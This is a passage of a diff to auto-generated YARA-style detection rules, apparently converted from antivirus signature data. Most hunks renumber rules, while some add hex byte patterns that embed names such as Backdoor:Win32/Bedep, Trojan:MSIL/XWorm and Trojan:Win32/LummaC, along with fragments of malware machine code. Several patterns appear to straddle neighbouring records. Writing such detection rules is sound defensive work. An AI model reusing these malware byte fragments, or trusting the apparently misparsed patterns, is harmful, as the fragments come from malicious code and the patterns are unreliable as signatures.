_InfrastructureShared_2510{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2511{ +rule _InfrastructureShared_2538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26038,7 +26335,7 @@ rule _InfrastructureShared_2511{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2512{ +rule _InfrastructureShared_2539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26048,7 +26345,7 @@ rule _InfrastructureShared_2512{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2513{ +rule _InfrastructureShared_2540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26058,7 +26355,7 @@ rule _InfrastructureShared_2513{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2514{ +rule _InfrastructureShared_2541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26068,7 +26365,7 @@ rule _InfrastructureShared_2514{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2515{ +rule _InfrastructureShared_2542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26078,7 +26375,7 @@ rule _InfrastructureShared_2515{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2516{ +rule _InfrastructureShared_2543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26088,7 +26385,7 @@ rule _InfrastructureShared_2516{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2517{ +rule _InfrastructureShared_2544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26098,7 +26395,7 @@ rule _InfrastructureShared_2517{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2518{ +rule _InfrastructureShared_2545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26108,7 +26405,7 @@ rule _InfrastructureShared_2518{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2519{ +rule _InfrastructureShared_2546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26118,7 +26415,7 @@ rule _InfrastructureShared_2519{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2520{ +rule _InfrastructureShared_2547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26128,7 +26425,7 @@ rule _InfrastructureShared_2520{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2521{ +rule _InfrastructureShared_2548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26138,7 +26435,7 @@ rule _InfrastructureShared_2521{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2522{ +rule _InfrastructureShared_2549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26148,7 +26445,7 @@ rule _InfrastructureShared_2522{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2523{ +rule _InfrastructureShared_2550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26158,7 +26455,7 @@ rule _InfrastructureShared_2523{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2524{ +rule _InfrastructureShared_2551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26168,7 +26465,7 @@ rule _InfrastructureShared_2524{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2525{ +rule _InfrastructureShared_2552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26178,7 +26475,7 @@ rule _InfrastructureShared_2525{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2526{ +rule _InfrastructureShared_2553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26188,7 +26485,7 @@ rule _InfrastructureShared_2526{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2527{ +rule _InfrastructureShared_2554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26198,7 +26495,7 @@ rule _InfrastructureShared_2527{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2528{ +rule _InfrastructureShared_2555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26208,7 +26505,7 @@ rule _InfrastructureShared_2528{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2529{ +rule _InfrastructureShared_2556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26218,7 +26515,7 @@ rule _InfrastructureShared_2529{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2530{ +rule _InfrastructureShared_2557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26228,7 +26525,7 @@ rule _InfrastructureShared_2530{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2531{ +rule _InfrastructureShared_2558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26238,7 +26535,7 @@ rule _InfrastructureShared_2531{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2532{ +rule _InfrastructureShared_2559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26248,7 +26545,7 @@ rule _InfrastructureShared_2532{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2533{ +rule _InfrastructureShared_2560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26258,7 +26555,7 @@ rule _InfrastructureShared_2533{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2534{ +rule _InfrastructureShared_2561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26268,7 +26565,7 @@ rule _InfrastructureShared_2534{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2535{ +rule _InfrastructureShared_2562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26278,7 +26575,7 @@ rule _InfrastructureShared_2535{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2536{ +rule _InfrastructureShared_2563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26288,7 +26585,7 @@ rule _InfrastructureShared_2536{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2537{ +rule _InfrastructureShared_2564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26298,7 +26595,7 @@ rule _InfrastructureShared_2537{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2538{ +rule _InfrastructureShared_2565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26308,7 +26605,7 @@ rule _InfrastructureShared_2538{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2539{ +rule _InfrastructureShared_2566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26318,7 +26615,7 @@ rule _InfrastructureShared_2539{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2540{ +rule _InfrastructureShared_2567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26328,7 +26625,7 @@ rule _InfrastructureShared_2540{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2541{ +rule _InfrastructureShared_2568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26338,7 +26635,7 @@ rule _InfrastructureShared_2541{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2542{ +rule _InfrastructureShared_2569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26348,7 +26645,7 @@ rule _InfrastructureShared_2542{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2543{ +rule _InfrastructureShared_2570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26358,7 +26655,7 @@ rule _InfrastructureShared_2543{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2544{ +rule _InfrastructureShared_2571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26368,7 +26665,7 @@ rule _InfrastructureShared_2544{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2545{ +rule _InfrastructureShared_2572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26378,7 +26675,7 @@ rule _InfrastructureShared_2545{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2546{ +rule _InfrastructureShared_2573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26388,7 +26685,7 @@ rule _InfrastructureShared_2546{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2547{ +rule _InfrastructureShared_2574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26398,7 +26695,7 @@ rule _InfrastructureShared_2547{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2548{ +rule _InfrastructureShared_2575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26408,7 +26705,7 @@ rule _InfrastructureShared_2548{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2549{ +rule _InfrastructureShared_2576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26418,7 +26715,7 @@ rule _InfrastructureShared_2549{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2550{ +rule _InfrastructureShared_2577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26428,7 +26725,7 @@ rule _InfrastructureShared_2550{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2551{ +rule _InfrastructureShared_2578{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26438,7 +26735,7 @@ rule _InfrastructureShared_2551{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2552{ +rule _InfrastructureShared_2579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26448,7 +26745,7 @@ rule _InfrastructureShared_2552{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2553{ +rule _InfrastructureShared_2580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26458,7 +26755,7 @@ rule _InfrastructureShared_2553{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2554{ +rule _InfrastructureShared_2581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26468,7 +26765,7 @@ rule _InfrastructureShared_2554{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2555{ +rule _InfrastructureShared_2582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26478,7 +26775,7 @@ rule _InfrastructureShared_2555{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2556{ +rule _InfrastructureShared_2583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26488,17 +26785,27 @@ rule _InfrastructureShared_2556{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2557{ +rule _InfrastructureShared_2584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_5f_0 = {65 65 70 5f 72 65 73 63 61 6e 00 01 00 25 03 68 62 67 8d a4 ff 75 90 01 01 e8 90 01 04 50 6a 00 68 2e 64 6c 6c 68 65 6c 33 32 68 6b 65 72 6e 54 ff d0 90 00 00 00 78 42 00 00 01 00 01 00 01 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 1b 01 8b 4d 08 6a 00 6a 00 50 8b 45 0c 6a 01 6a 00 6a } //25635 + $a_5f_0 = {65 65 70 5f 72 65 73 63 61 6e 00 01 00 25 03 68 62 67 8d a4 ff 75 90 01 01 e8 90 01 04 50 6a 00 68 2e 64 6c 6c 68 65 6c 33 32 68 6b 65 72 6e 54 ff d0 90 00 00 00 78 42 00 00 01 00 01 00 01 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 6e 00 01 00 15 01 63 68 61 74 67 70 74 2e 70 64 } //25635 condition: ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2558{ +rule _InfrastructureShared_2585{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 6e 00 01 00 15 01 63 68 61 74 67 70 74 2e 70 64 62 00 09 00 00 00 28 00 00 00 28 00 00 78 42 00 00 01 00 01 00 01 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 1b 01 8b 4d 08 6a 00 6a 00 50 8b 45 0c 6a 01 6a 00 6a } //25635 + condition: + ((#a_5f_0 & 1)*25635) >=1 + +} +rule _InfrastructureShared_2586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26508,7 +26815,7 @@ rule _InfrastructureShared_2558{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2559{ +rule _InfrastructureShared_2587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -26519,7 +26826,7 @@ rule _InfrastructureShared_2559{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*16735) >=1 } -rule _InfrastructureShared_2560{ +rule _InfrastructureShared_2588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -26529,7 +26836,7 @@ rule _InfrastructureShared_2560{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2561{ +rule _InfrastructureShared_2589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -26540,7 +26847,7 @@ rule _InfrastructureShared_2561{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*16687) >=1 } -rule _InfrastructureShared_2562{ +rule _InfrastructureShared_2590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -26550,18 +26857,39 @@ rule _InfrastructureShared_2562{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2563{ +rule _InfrastructureShared_2591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : - $a_54_0 = {3a 50 72 69 66 6f 75 53 65 74 54 69 6d 65 72 00 01 00 08 01 00 53 6a 00 6a 00 ff d6 01 00 08 01 00 56 6a 00 6a 00 ff 55 01 00 08 01 00 57 6a 00 6a 00 ff 15 00 00 78 42 00 00 02 00 02 00 01 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 56 42 49 6e 6a 65 } //18467 - $a_72_1 = {41 52 21 65 6d 6c 00 02 00 17 03 34 e5 d0 98 90 01 04 18 c2 c1 82 90 01 04 b7 5c b1 6c 80 00 c5 90 00 00 00 78 42 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 42 65 64 65 70 2e 41 52 41 21 4d 54 42 00 02 00 13 03 8b 55 d8 33 15 90 01 04 89 55 d8 83 7d e0 00 74 ee 90 00 00 00 78 42 00 00 02 } //29795 + $a_54_0 = {3a 50 72 69 66 6f 75 53 65 74 54 69 6d 65 72 00 01 00 08 01 00 53 6a 00 6a 00 ff d6 01 00 08 01 00 56 6a 00 6a 00 ff 55 01 00 08 01 00 57 6a 00 6a 00 ff 15 00 00 78 42 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 } //18467 + $a_6d_1 = {42 41 44 21 4d 54 42 00 02 00 16 03 11 04 04 08 17 90 01 0a d6 13 04 08 17 d6 0c 08 11 06 31 e5 90 00 00 00 78 42 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 45 4c 4c 21 4d 54 42 00 02 00 14 01 33 14 81 31 fa 89 94 81 0c f0 ff ff 40 89 f2 3d e1 04 00 00 00 00 78 42 00 00 02 00 02 00 } //28503 + $a_23_2 = {53 54 52 3a 57 69 6e 33 32 2f 56 42 49 6e 6a 65 63 74 6f 72 2e 41 52 21 65 6d 6c 00 02 00 17 03 34 } //1 condition: - ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29795) >=1 + ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*28503+(#a_23_2 & 1)*1) >=1 } -rule _InfrastructureShared_2564{ +rule _InfrastructureShared_2592{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 42 41 44 21 4d 54 42 00 02 00 16 03 11 04 04 08 17 90 01 0a d6 13 04 08 17 d6 0c 08 11 06 31 e5 90 00 00 00 78 42 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_2593{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 45 4c 4c 21 4d 54 42 00 02 00 14 01 33 14 81 31 fa 89 94 81 0c f0 ff ff 40 89 f2 3d e1 04 00 00 00 00 78 42 00 00 02 00 02 00 01 00 21 23 48 53 54 52 3a 57 69 6e 33 32 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_2594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -26571,7 +26899,7 @@ rule _InfrastructureShared_2564{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_2565{ +rule _InfrastructureShared_2595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -26581,7 +26909,7 @@ rule _InfrastructureShared_2565{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_2566{ +rule _InfrastructureShared_2596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -26591,7 +26919,7 @@ rule _InfrastructureShared_2566{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_2567{ +rule _InfrastructureShared_2597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -26602,7 +26930,7 @@ rule _InfrastructureShared_2567{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*24940) >=2 } -rule _InfrastructureShared_2568{ +rule _InfrastructureShared_2598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -26613,7 +26941,7 @@ rule _InfrastructureShared_2568{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25705) >=2 } -rule _InfrastructureShared_2569{ +rule _InfrastructureShared_2599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -26623,7 +26951,7 @@ rule _InfrastructureShared_2569{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_2570{ +rule _InfrastructureShared_2600{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -26634,7 +26962,7 @@ rule _InfrastructureShared_2570{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25189) >=2 } -rule _InfrastructureShared_2571{ +rule _InfrastructureShared_2601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -26645,7 +26973,7 @@ rule _InfrastructureShared_2571{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25939) >=2 } -rule _InfrastructureShared_2572{ +rule _InfrastructureShared_2602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -26656,7 +26984,7 @@ rule _InfrastructureShared_2572{ ((#a_77_0 & 1)*19491+(#a_01_1 & 1)*1) >=2 } -rule _InfrastructureShared_2573{ +rule _InfrastructureShared_2603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -26667,7 +26995,7 @@ rule _InfrastructureShared_2573{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*30821) >=2 } -rule _InfrastructureShared_2574{ +rule _InfrastructureShared_2604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -26678,7 +27006,7 @@ rule _InfrastructureShared_2574{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*1537) >=2 } -rule _InfrastructureShared_2575{ +rule _InfrastructureShared_2605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -26688,7 +27016,7 @@ rule _InfrastructureShared_2575{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_2576{ +rule _InfrastructureShared_2606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -26698,7 +27026,7 @@ rule _InfrastructureShared_2576{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_2577{ +rule _InfrastructureShared_2607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26708,7 +27036,7 @@ rule _InfrastructureShared_2577{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2578{ +rule _InfrastructureShared_2608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26718,7 +27046,7 @@ rule _InfrastructureShared_2578{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2579{ +rule _InfrastructureShared_2609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26728,7 +27056,7 @@ rule _InfrastructureShared_2579{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2580{ +rule _InfrastructureShared_2610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26738,7 +27066,7 @@ rule _InfrastructureShared_2580{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2581{ +rule _InfrastructureShared_2611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26748,7 +27076,7 @@ rule _InfrastructureShared_2581{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2582{ +rule _InfrastructureShared_2612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26758,7 +27086,7 @@ rule _InfrastructureShared_2582{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2583{ +rule _InfrastructureShared_2613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26768,7 +27096,7 @@ rule _InfrastructureShared_2583{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2584{ +rule _InfrastructureShared_2614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26778,7 +27106,7 @@ rule _InfrastructureShared_2584{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2585{ +rule _InfrastructureShared_2615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26788,7 +27116,7 @@ rule _InfrastructureShared_2585{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2586{ +rule _InfrastructureShared_2616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26798,7 +27126,7 @@ rule _InfrastructureShared_2586{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2587{ +rule _InfrastructureShared_2617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26808,7 +27136,7 @@ rule _InfrastructureShared_2587{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2588{ +rule _InfrastructureShared_2618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26818,7 +27146,7 @@ rule _InfrastructureShared_2588{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2589{ +rule _InfrastructureShared_2619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26828,7 +27156,7 @@ rule _InfrastructureShared_2589{ ((#a_62_0 & 1)*17187) >=1 } -rule _InfrastructureShared_2590{ +rule _InfrastructureShared_2620{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26838,7 +27166,7 @@ rule _InfrastructureShared_2590{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2591{ +rule _InfrastructureShared_2621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26848,7 +27176,7 @@ rule _InfrastructureShared_2591{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2592{ +rule _InfrastructureShared_2622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26858,7 +27186,7 @@ rule _InfrastructureShared_2592{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2593{ +rule _InfrastructureShared_2623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26868,7 +27196,7 @@ rule _InfrastructureShared_2593{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2594{ +rule _InfrastructureShared_2624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26878,7 +27206,7 @@ rule _InfrastructureShared_2594{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2595{ +rule _InfrastructureShared_2625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26888,7 +27216,7 @@ rule 